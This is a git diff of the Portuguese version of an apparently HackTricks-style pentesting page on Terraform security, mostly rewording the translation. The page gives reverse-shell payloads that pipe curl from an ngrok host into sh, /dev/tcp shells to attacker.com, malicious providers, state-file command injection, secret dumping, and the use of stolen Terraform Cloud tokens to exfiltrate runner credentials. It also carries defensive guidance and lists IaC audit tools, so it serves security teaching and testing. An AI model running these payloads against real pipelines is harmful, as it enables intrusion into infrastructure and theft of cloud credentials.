diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index d5daf2dfc..877db5d4e 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -1,60 +1,60 @@
-# Segurança do Terraform
+# Terraform Segurança
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## Informações Básicas
 
-[Dos documentos:](https://developer.hashicorp.com/terraform/intro)
+[From the docs:](https://developer.hashicorp.com/terraform/intro)
 
-HashiCorp Terraform é uma **ferramenta de infraestrutura como código** que permite definir tanto **recursos em nuvem quanto locais** em arquivos de configuração legíveis por humanos que você pode versionar, reutilizar e compartilhar. Você pode então usar um fluxo de trabalho consistente para provisionar e gerenciar toda a sua infraestrutura ao longo de seu ciclo de vida. O Terraform pode gerenciar componentes de baixo nível, como computação, armazenamento e recursos de rede, bem como componentes de alto nível, como entradas DNS e recursos SaaS.
+HashiCorp Terraform é uma ferramenta de **infrastructure as code** que permite definir tanto **recursos cloud quanto on-prem** em arquivos de configuração legíveis por humanos que você pode versionar, reutilizar e compartilhar. Você pode então usar um fluxo de trabalho consistente para provisionar e gerenciar toda a sua infraestrutura ao longo do seu ciclo de vida. Terraform pode gerenciar componentes de baixo nível como compute, storage e recursos de networking, bem como componentes de alto nível como entradas DNS e funcionalidades de SaaS.
 
 #### Como o Terraform funciona?
 
-O Terraform cria e gerencia recursos em plataformas de nuvem e outros serviços por meio de suas interfaces de programação de aplicativos (APIs). Os provedores permitem que o Terraform funcione com praticamente qualquer plataforma ou serviço com uma API acessível.
+Terraform cria e gerencia recursos em plataformas cloud e outros serviços através de suas application programming interfaces (APIs). Providers permitem que o Terraform trabalhe com virtualmente qualquer plataforma ou serviço com uma API acessível.
 
 ![](<../images/image (177).png>)
 
-A HashiCorp e a comunidade do Terraform já escreveram **mais de 1700 provedores** para gerenciar milhares de tipos diferentes de recursos e serviços, e esse número continua a crescer. Você pode encontrar todos os provedores disponíveis publicamente no [Terraform Registry](https://registry.terraform.io/), incluindo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e muitos mais.
+HashiCorp e a comunidade Terraform já escreveram **mais de 1700 providers** para gerenciar milhares de diferentes tipos de recursos e serviços, e esse número continua crescendo. Você pode encontrar todos os providers publicamente disponíveis no [Terraform Registry](https://registry.terraform.io/), incluindo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, e muitos outros.
 
-O fluxo de trabalho central do Terraform consiste em três etapas:
+O fluxo de trabalho core do Terraform consiste em três estágios:
 
-- **Escrever:** Você define recursos, que podem estar em vários provedores de nuvem e serviços. Por exemplo, você pode criar uma configuração para implantar um aplicativo em máquinas virtuais em uma rede de Nuvem Privada Virtual (VPC) com grupos de segurança e um balanceador de carga.
-- **Planejar:** O Terraform cria um plano de execução descrevendo a infraestrutura que criará, atualizará ou destruirá com base na infraestrutura existente e em sua configuração.
-- **Aplicar:** Após a aprovação, o Terraform executa as operações propostas na ordem correta, respeitando quaisquer dependências de recursos. Por exemplo, se você atualizar as propriedades de uma VPC e mudar o número de máquinas virtuais nessa VPC, o Terraform recriará a VPC antes de escalar as máquinas virtuais.
+- **Write:** Você define recursos, que podem estar em múltiplos cloud providers e serviços. Por exemplo, você pode criar uma configuração para deployar uma aplicação em máquinas virtuais em uma Virtual Private Cloud (VPC) com security groups e um load balancer.
+- **Plan:** Terraform cria um execution plan descrevendo a infraestrutura que será criada, atualizada ou destruída com base na infraestrutura existente e na sua configuração.
+- **Apply:** Mediante aprovação, Terraform executa as operações propostas na ordem correta, respeitando quaisquer dependências entre recursos. Por exemplo, se você atualizar as propriedades de uma VPC e alterar o número de máquinas virtuais nessa VPC, Terraform recriará a VPC antes de escalar as máquinas virtuais.
 
 ![](<../images/image (215).png>)
 
-### Laboratório Terraform
+### Terraform Lab
 
-Basta instalar o terraform no seu computador.
+Basta instalar terraform no seu computador.
 
-Aqui você tem um [guia](https://learn.hashicorp.com/tutorials/terraform/install-cli) e aqui você tem a [melhor maneira de baixar o terraform](https://www.terraform.io/downloads).
+Aqui você tem um [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) e aqui você tem a [best way to download terraform](https://www.terraform.io/downloads).
 
-## RCE no Terraform: envenenamento de arquivo de configuração
+## RCE in Terraform: config file poisoning
 
-O Terraform **não possui uma plataforma que exponha uma página da web ou um serviço de rede** que possamos enumerar, portanto, a única maneira de comprometer o terraform é **ser capaz de adicionar/modificar arquivos de configuração do terraform** ou **ser capaz de modificar o arquivo de estado do terraform** (veja o capítulo abaixo).
+Terraform **não expõe uma plataforma com página web ou um serviço de rede** que possamos enumerar, portanto, a única forma de comprometer terraform é **ser capaz de adicionar/modificar arquivos de configuração do terraform** ou **ser capaz de modificar o terraform state file** (veja capítulo abaixo).
 
-No entanto, o terraform é um **componente muito sensível** a comprometer porque terá **acesso privilegiado** a diferentes locais para que possa funcionar corretamente.
+No entanto, terraform é um **componente muito sensível** para comprometer porque ele terá **acesso privilegiado** a diferentes locais para poder funcionar corretamente.
 
-A principal maneira de um atacante conseguir comprometer o sistema onde o terraform está sendo executado é **comprometer o repositório que armazena as configurações do terraform**, porque em algum momento elas serão **interpretadas**.
+A forma principal de um atacante comprometer o sistema onde o terraform está rodando é **comprometer o repositório que armazena as configurações do terraform**, porque em algum momento elas vão ser **interpretadas**.
 
-Na verdade, existem soluções que **executam terraform plan/apply automaticamente após um PR** ser criado, como **Atlantis**:
+Na verdade, existem soluções que **executam terraform plan/apply automaticamente após um PR** ser criado, como o **Atlantis**:
 
 {{#ref}}
 atlantis-security.md
 {{#endref}}
 
-Se você conseguir comprometer um arquivo terraform, existem diferentes maneiras de realizar RCE quando alguém executa `terraform plan` ou `terraform apply`.
+Se você for capaz de comprometer um arquivo terraform existem diferentes formas de realizar RCE quando alguém executa `terraform plan` ou `terraform apply`.
 
 ### Terraform plan
 
-O terraform plan é o **comando mais utilizado** no terraform e desenvolvedores/soluções que usam terraform o chamam o tempo todo, então a **maneira mais fácil de obter RCE** é garantir que você envenene um arquivo de configuração do terraform que executará comandos arbitrários em um `terraform plan`.
+Terraform plan é o **comando mais usado** no terraform e desenvolvedores/soluções que usam terraform o chamam o tempo todo, então a **maneira mais fácil de conseguir RCE** é garantir que você envenene um arquivo de configuração terraform que irá executar comandos arbitrários em um `terraform plan`.
 
-**Usando um provedor externo**
+**Using an external provider**
 
-O Terraform oferece o [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que fornece uma maneira de interagir entre o Terraform e programas externos. Você pode usar a fonte de dados `external` para executar código arbitrário durante um `plan`.
+Terraform oferece o [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que fornece uma forma de interface entre Terraform e programas externos. Você pode usar a data source `external` para executar código arbitrário durante um `plan`.
 
-Injetar em um arquivo de configuração do terraform algo como o seguinte executará um rev shell ao executar `terraform plan`:
+Injectar em um arquivo de configuração terraform algo como o seguinte irá executar um rev shell quando for executado `terraform plan`:
 ```javascript
 data "external" "example" {
 program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
 ```
 **Usando um provedor personalizado**
 
-Um atacante poderia enviar um [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) para o [Terraform Registry](https://registry.terraform.io/) e então adicioná-lo ao código Terraform em um branch de recurso ([exemplo daqui](https://alex.kaskaso.li/post/terraform-plan-rce)):
+Um atacante poderia enviar um [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) para o [Terraform Registry](https://registry.terraform.io/) e então adicioná-lo ao código Terraform em uma feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
 ```javascript
 terraform {
 required_providers {
@@ -75,15 +75,15 @@ version = "1.0"
 
 provider "evil" {}
 ```
-O provedor é baixado no `init` e executará o código malicioso quando `plan` for executado.
+O provider é baixado no `init` e executará o código malicioso quando `plan` for executado
 
 Você pode encontrar um exemplo em [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
 
 **Usando uma referência externa**
 
-Ambas as opções mencionadas são úteis, mas não muito discretas (a segunda é mais discreta, mas mais complexa do que a primeira). Você pode realizar este ataque de uma maneira **mais discreta**, seguindo estas sugestões:
+Ambas as opções mencionadas são úteis, mas não muito discretas (a segunda é mais discreta, porém mais complexa que a primeira). Você pode realizar este ataque de forma ainda mais **discreta**, seguindo estas sugestões:
 
-- Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode **carregar um recurso externo** que contém o rev shell:
+- Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode **carregar um recurso externo** que contenha o rev shell:
 ```javascript
 module "not_rev_shell" {
 source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
@@ -91,11 +91,11 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
 ```
 Você pode encontrar o código rev shell em [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
 
-- No recurso externo, use o recurso **ref** para ocultar o **código rev shell do terraform em um branch** dentro do repositório, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- No recurso externo, use a funcionalidade **ref** para esconder o **terraform rev shell code in a branch** dentro do repositório, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
 
 ### Terraform Apply
 
-O Terraform apply será executado para aplicar todas as mudanças, você também pode abusar disso para obter RCE injetando **um arquivo Terraform malicioso com** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
+Terraform apply será executado para aplicar todas as alterações, você também pode abusar disso para obter RCE injetando **um arquivo Terraform malicioso com** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
 Você só precisa garantir que algum payload como os seguintes termine no arquivo `main.tf`:
 ```json
 // Payload 1 to just steal a secret
@@ -112,27 +112,27 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
 }
 }
 ```
-Siga as **sugestões da técnica anterior** para realizar este ataque de uma **maneira mais furtiva usando referências externas**.
+Siga as **sugestões da técnica anterior** para realizar este ataque de forma **mais furtiva usando referências externas**.
 
 ## Dumps de Segredos
 
-Você pode ter **valores secretos usados pelo terraform despejados** executando `terraform apply` ao adicionar ao arquivo terraform algo como:
+Você pode fazer com que os **valores secretos usados pelo terraform sejam extraídos** ao executar `terraform apply` adicionando ao arquivo terraform algo como:
 ```json
 output "dotoken" {
 value = nonsensitive(var.do_token)
 }
 ```
-## Abusando de Arquivos de Estado do Terraform
+## Abusando dos state files do Terraform
 
-Caso você tenha acesso de escrita sobre os arquivos de estado do terraform, mas não possa alterar o código do terraform, [**esta pesquisa**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferece algumas opções interessantes para aproveitar o arquivo. Mesmo que você tenha acesso de escrita sobre os arquivos de configuração, usar o vetor de arquivos de estado é muitas vezes muito mais sorrateiro, já que você não deixa rastros no histórico do `git`.
+Caso você tenha acesso de escrita aos terraform state files mas não possa alterar o código do terraform, [**esta pesquisa**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) apresenta algumas opções interessantes para tirar proveito do arquivo. Mesmo que você tivesse acesso de escrita aos arquivos de configuração, usar o vetor dos state files costuma ser muito mais sorrateiro, já que você não deixa rastros no histórico do `git`.
 
-### RCE no Terraform: envenenamento de arquivo de configuração
+### RCE in Terraform: config file poisoning
 
-É possível [criar um provedor personalizado](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e simplesmente substituir um dos provedores no arquivo de estado do terraform pelo malicioso ou adicionar um recurso falso referenciando o provedor malicioso.
+É possível [criar um provider customizado](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e simplesmente substituir um dos providers no terraform state file pelo malicioso ou adicionar um recurso falso referenciando o provider malicioso.
 
-O provedor [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) se baseia na pesquisa e arma esse princípio. Você pode adicionar um recurso falso e declarar o comando bash arbitrário que deseja executar no atributo `command`. Quando a execução do `terraform` é acionada, isso será lido e executado tanto nos passos `terraform plan` quanto `terraform apply`. No caso do passo `terraform apply`, o `terraform` irá deletar o recurso falso do arquivo de estado após executar seu comando, limpando após si mesmo. Mais informações e uma demonstração completa podem ser encontradas no [repositório do GitHub que hospeda o código-fonte para este provedor](https://github.com/offensive-actions/terraform-provider-statefile-rce).
+O provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) baseia-se na pesquisa e weaponiza esse princípio. Você pode adicionar um recurso falso e colocar o comando bash arbitrário que deseja executar no atributo `command`. Quando a execução do `terraform` for acionada, isso será lido e executado tanto no `terraform plan` quanto no `terraform apply`. No caso do passo `terraform apply`, o `terraform` vai apagar o recurso falso do state file após executar seu comando, limpando os rastros. Mais informações e uma demo completa podem ser encontradas no [repositório GitHub que hospeda o código fonte deste provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
 
-Para usá-lo diretamente, basta incluir o seguinte em qualquer posição do array `resources` e personalizar os atributos `name` e `command`:
+Para usá-lo diretamente, basta incluir o seguinte em qualquer posição do array `resources` e customizar os atributos `name` e `command`:
 ```json
 {
 "mode": "managed",
@@ -154,13 +154,13 @@ Para usá-lo diretamente, basta incluir o seguinte em qualquer posição do arra
 ```
 Então, assim que `terraform` for executado, seu código será executado.
 
-### Deletando recursos <a href="#deleting-resources" id="deleting-resources"></a>
+### Removendo recursos <a href="#deleting-resources" id="deleting-resources"></a>
 
 Existem 2 maneiras de destruir recursos:
 
-1. **Inserir um recurso com um nome aleatório no arquivo de estado apontando para o recurso real a ser destruído**
+1. **Inserir um recurso com um nome aleatório no arquivo state apontando para o recurso real a ser destruído**
 
-Porque o terraform verá que o recurso não deveria existir, ele o destruirá (seguindo o ID do recurso real indicado). Exemplo da página anterior:
+Porque terraform verá que o recurso não deveria existir, ele o destruirá (seguindo o ID do recurso real indicado). Exemplo da página anterior:
 ```json
 {
 "mode": "managed",
@@ -176,13 +176,13 @@ Porque o terraform verá que o recurso não deveria existir, ele o destruirá (s
 ]
 },
 ```
-2. **Modifique o recurso para excluir de uma maneira que não seja possível atualizar (para que ele seja excluído e recriado)**
+2. **Modificar o recurso para forçar sua exclusão de forma que não seja possível atualizá-lo (assim ele será excluído e recriado)**
 
-Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform excluir e recriá-la.
+Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform excluí-la e recriá-la.
 
-### Substituir provedor na lista negra
+### Substituir provedor bloqueado
 
-Caso você encontre uma situação onde `hashicorp/external` foi colocado na lista negra, você pode reimplementar o provedor `external` fazendo o seguinte. Nota: Usamos um fork do provedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. Você também pode publicar seu próprio fork ou reimplementação.
+Caso você encontre uma situação em que `hashicorp/external` foi bloqueado, você pode reimplementar o provedor `external` fazendo o seguinte. Nota: Usamos um fork do provedor external publicado em https://registry.terraform.io/providers/nazarewk/external/latest. Você pode publicar seu próprio fork ou reimplementação também.
 ```terraform
 terraform {
 required_providers {
@@ -193,27 +193,27 @@ version = "3.0.0"
 }
 }
 ```
-Então você pode usar `external` como de costume.
+Então você pode usar `external` normalmente.
 ```terraform
 data "external" "example" {
 program = ["sh", "-c", "whoami"]
 }
 ```
-## Terraform Cloud speculative plan RCE e exfiltração de credenciais
+## Terraform Cloud speculative plan RCE and credential exfiltration
 
-Este cenário explora os runners do Terraform Cloud (TFC) durante planos especulativos para pivotar na conta de nuvem alvo.
+Este cenário abusa dos runners do Terraform Cloud (TFC) durante speculative plans para pivot into the target cloud account.
 
 - Pré-condições:
-- Roubar um token do Terraform Cloud de uma máquina de desenvolvedor. O CLI armazena tokens em texto simples em `~/.terraform.d/credentials.tfrc.json`.
-- O token deve ter acesso à organização/workspace alvo e pelo menos a permissão `plan`. Workspaces suportados por VCS bloqueiam `apply` do CLI, mas ainda permitem planos especulativos.
+- Roube um token do Terraform Cloud de uma máquina de desenvolvedor. O CLI armazena tokens em plaintext em `~/.terraform.d/credentials.tfrc.json`.
+- O token deve ter acesso à organização/workspace alvo e pelo menos a permissão `plan`. Workspaces com VCS bloqueiam `apply` via CLI, mas ainda permitem speculative plans.
 
-- Descobrir configurações de workspace e VCS via a API do TFC:
+- Descubra configurações de workspace e VCS via a API do TFC:
 ```bash
 export TF_TOKEN=<stolen_token>
 curl -s -H "Authorization: Bearer $TF_TOKEN" \
 https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
 ```
-- Acionar a execução de código durante um plano especulativo usando a fonte de dados externa e o bloco "cloud" do Terraform Cloud para direcionar o workspace baseado em VCS:
+- Acionar code execution durante um speculative plan usando o external data source e o Terraform Cloud "cloud" block para direcionar o VCS-backed workspace:
 ```hcl
 terraform {
 cloud {
@@ -226,30 +226,30 @@ data "external" "exec" {
 program = ["bash", "./rsync.sh"]
 }
 ```
-Exemplo de rsync.sh para obter um shell reverso no runner TFC:
+Exemplo rsync.sh para obter um reverse shell no TFC runner:
 ```bash
 #!/usr/bin/env bash
 bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
 ```
-Execute um plano especulativo para executar o programa no runner efêmero:
+Execute um plano especulativo para rodar o programa no runner efêmero:
 ```bash
 terraform init
 terraform plan
 ```
-- Enumere e exfiltre credenciais de nuvem injetadas do runner. Durante as execuções, o TFC injeta credenciais de provedor por meio de arquivos e variáveis de ambiente:
+- Enumerar e exfiltrar credenciais de cloud injetadas no runner. Durante as execuções, o TFC injeta credenciais do provider via arquivos e variáveis de ambiente:
 ```bash
 env | grep -i gcp || true
 env | grep -i aws || true
 ```
 Arquivos esperados no diretório de trabalho do runner:
 - GCP:
-- `tfc-google-application-credentials` (configuração JSON de Federação de Identidade de Carga de Trabalho)
+- `tfc-google-application-credentials` (config JSON do Workload Identity Federation)
 - `tfc-gcp-token` (token de acesso GCP de curta duração)
 - AWS:
-- `tfc-aws-shared-config` (configuração de suposição de função de identidade web/OIDC)
-- `tfc-aws-token` (token de curta duração; algumas organizações podem usar chaves estáticas)
+- `tfc-aws-shared-config` (config de web identity/OIDC para assunção de role)
+- `tfc-aws-token` (token de curta duração; algumas orgs podem usar chaves estáticas)
 
-- Use as credenciais de curta duração fora de banda para contornar os portões do VCS:
+- Use as credenciais de curta duração fora de banda para contornar os gates do VCS:
 
 GCP (gcloud):
 ```bash
@@ -263,26 +263,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
 export AWS_PROFILE=default
 aws sts get-caller-identity
 ```
-Com essas credenciais, os atacantes podem criar/modificar/destruir recursos diretamente usando CLIs nativas, contornando fluxos de trabalho baseados em PR que bloqueiam `apply` via VCS.
+Com essas credenciais, atacantes podem criar/modificar/destruir recursos diretamente usando CLIs nativos, contornando fluxos de trabalho baseados em PR que bloqueiam `apply` via VCS.
 
-- Orientações defensivas:
-- Aplique o princípio do menor privilégio a usuários/equipes e tokens do TFC. Audite as associações e evite proprietários excessivos.
-- Restringa a permissão de `plan` em workspaces sensíveis suportados por VCS, quando viável.
-- Aplique listas de permissão de provedores/fontes de dados com políticas do Sentinel para bloquear `data "external"` ou provedores desconhecidos. Veja a orientação da HashiCorp sobre filtragem de provedores.
-- Prefira OIDC/WIF em vez de credenciais de nuvem estáticas; trate runners como sensíveis. Monitore execuções de planos especulativos e egressos inesperados.
-- Detecte a exfiltração de artefatos de credenciais `tfc-*` e alerte sobre o uso suspeito de programas `external` durante os planos.
+- Orientação defensiva:
+- Aplique o princípio do menor privilégio a usuários/equipes e tokens do TFC. Audite associações e evite proprietários com privilégios excessivos.
+- Restrinja a permissão `plan` em workspaces sensíveis vinculados ao VCS quando possível.
+- Imponha allowlists de provider/data source com políticas Sentinel para bloquear `data "external"` ou providers desconhecidos. Veja a orientação da HashiCorp sobre provider filtering.
+- Prefira OIDC/WIF em vez de credenciais estáticas de cloud; trate runners como sensíveis. Monitore execuções especulativas de plan e tráfego de saída inesperado.
+- Detecte exfiltração de artefatos de credenciais `tfc-*` e alerte sobre uso suspeito do programa `external` durante execuções de plan.
 
-## Ferramentas de Auditoria Automática
+
+## Comprometendo Terraform Cloud
+
+### Usando um token
+
+Como **[explicado neste post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, o terraform CLI armazena tokens em texto plano em **`~/.terraform.d/credentials.tfrc.json`**. Roubar esse token permite que um atacante se faça passar pelo usuário dentro do escopo do token.
+
+Usando esse token, é possível obter a org/workspace com:
+```bash
+GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
+Authorization: Bearer <TF_TOKEN>
+```
+Então é possível executar código arbitrário usando **`terraform plan`** conforme explicado no capítulo anterior.
+
+### Escaping to the cloud
+
+Então, se o runner estiver localizado em algum ambiente de cloud, é possível obter um token do principal associado ao runner e usá-lo fora de banda.
+
+- **GCP files (present in current run working directory)**
+- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
+- `tfc-gcp-token` — short‑lived (≈1 hour) GCP access token referenced by the above
+
+- **AWS files**
+- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
+(preferred over static keys).
+- `tfc-aws-token` — short‑lived token, or potentially static IAM keys if misconfigured.
+
+
+## Automatic Audit Tools
 
 ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
 
-Snyk oferece uma solução abrangente de escaneamento de Infrastructure as Code (IaC) que detecta vulnerabilidades e configurações incorretas em Terraform, CloudFormation, Kubernetes e outros formatos de IaC.
+A Snyk oferece uma solução abrangente de scanning de Infrastructure as Code (IaC) que detecta vulnerabilidades e configurações incorretas em Terraform, CloudFormation, Kubernetes, e outros formatos IaC.
 
 - **Recursos:**
 - Escaneamento em tempo real para vulnerabilidades de segurança e problemas de conformidade.
 - Integração com sistemas de controle de versão (GitHub, GitLab, Bitbucket).
-- Pull requests de correção automatizadas.
-- Conselhos detalhados de remediação.
+- Pull requests automatizados de correção.
+- Orientação detalhada de remediação.
 - **Inscreva-se:** Crie uma conta em [Snyk](https://snyk.io/).
 ```bash
 brew tap snyk/tap
@@ -292,28 +320,28 @@ snyk iac test /path/to/terraform/code
 ```
 ### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
 
-**Checkov** é uma ferramenta de análise de código estático para infraestrutura como código (IaC) e também uma ferramenta de análise de composição de software (SCA) para imagens e pacotes de código aberto.
+**Checkov** é uma ferramenta de análise estática de código para infraestrutura como código (IaC) e também uma ferramenta de análise de composição de software (SCA) para imagens e pacotes open source.
 
-Ela escaneia a infraestrutura em nuvem provisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) ou [OpenTofu](https://opentofu.org/) e detecta configurações incorretas de segurança e conformidade usando escaneamento baseado em grafo.
+Ele analisa infraestrutura em nuvem provisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) e detecta misconfigurações de segurança e conformidade usando varredura baseada em grafo.
 
-Ela realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma varredura de pacotes e imagens de código aberto para Vulnerabilidades e Exposições Comuns (CVEs).
+Ele executa [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma verificação de pacotes open source e imagens em busca de Common Vulnerabilities and Exposures (CVEs).
 ```bash
 pip install checkov
 checkov -d /path/to/folder
 ```
 ### [terraform-compliance](https://github.com/terraform-compliance/cli)
 
-Do [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` é um framework de teste leve, focado em segurança e conformidade, contra terraform para habilitar a capacidade de teste negativo para sua infraestrutura como código.
+From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` é um framework de testes leve, focado em security e compliance, para terraform, que permite a capacidade de negative testing para sua infraestrutura como código.
 
-- **conformidade:** Garantir que o código implementado esteja seguindo padrões de segurança, seus próprios padrões personalizados
-- **desenvolvimento orientado a comportamento:** Temos BDD para quase tudo, por que não para IaC?
-- **portátil:** basta instalá-lo via `pip` ou executá-lo através do `docker`. Veja [Instalação](https://terraform-compliance.com/pages/installation/)
-- **pré-implantação:** valida seu código antes de ser implantado
-- **fácil de integrar:** pode ser executado em seu pipeline (ou em ganchos git) para garantir que todas as implantações sejam validadas.
-- **segregação de deveres:** você pode manter seus testes em um repositório diferente onde uma equipe separada é responsável.
+- **compliance:** Garantir que o código implementado esteja seguindo padrões de segurança, seus próprios padrões personalizados
+- **behaviour driven development:** Temos BDD para quase tudo, por que não para IaC?
+- **portable:** basta instalar via `pip` ou executá-lo via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
+- **pre-deploy:** valida seu código antes de ser deployado
+- **easy to integrate:** pode rodar no seu pipeline (ou em git hooks) para garantir que todas as implantações sejam validadas.
+- **segregation of duty:** você pode manter seus testes em um repositório diferente onde uma equipe separada é responsável.
 
 > [!NOTE]
-> Infelizmente, se o código estiver usando alguns provedores aos quais você não tem acesso, você não poderá executar o `terraform plan` e rodar esta ferramenta.
+> Infelizmente, se o código estiver usando alguns providers aos quais você não tem acesso, você não conseguirá executar o `terraform plan` e rodar esta ferramenta.
 ```bash
 pip install terraform-compliance
 terraform plan -out=plan.out
@@ -321,40 +349,53 @@ terraform-compliance -f /path/to/folder
 ```
 ### [tfsec](https://github.com/aquasecurity/tfsec)
 
-Do [**docs**](https://github.com/aquasecurity/tfsec): tfsec usa análise estática do seu código terraform para identificar possíveis configurações incorretas.
+Segundo os [**docs**](https://github.com/aquasecurity/tfsec): tfsec usa análise estática do seu código Terraform para identificar possíveis misconfigurações.
 
-- ☁️ Verifica configurações incorretas em todos os principais (e alguns menores) provedores de nuvem
+- ☁️ Verifica misconfigurações em todos os principais (e alguns secundários) provedores de nuvem
 - ⛔ Centenas de regras integradas
 - 🪆 Escaneia módulos (locais e remotos)
-- ➕ Avalia expressões HCL, bem como valores literais
-- ↪️ Avalia funções Terraform, por exemplo, `concat()`
-- 🔗 Avalia relacionamentos entre recursos Terraform
+- ➕ Avalia expressões HCL assim como valores literais
+- ↪️ Avalia funções do Terraform e.g. `concat()`
+- 🔗 Avalia relações entre recursos do Terraform
 - 🧰 Compatível com o Terraform CDK
-- 🙅 Aplica (e embeleza) políticas Rego definidas pelo usuário
-- 📃 Suporta múltiplos formatos de saída: lovely (padrão), JSON, SARIF, CSV, CheckStyle, JUnit, texto, Gif.
+- 🙅 Aplica (e enriquece) políticas Rego definidas pelo usuário
+- 📃 Suporta múltiplos formatos de saída: lovely (padrão), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
 - 🛠️ Configurável (via flags de CLI e/ou arquivo de configuração)
-- ⚡ Muito rápido, capaz de escanear rapidamente grandes repositórios
+- ⚡ Muito rápido, capaz de escanear rapidamente repositórios enormes
 ```bash
 brew install tfsec
 tfsec /path/to/folder
 ```
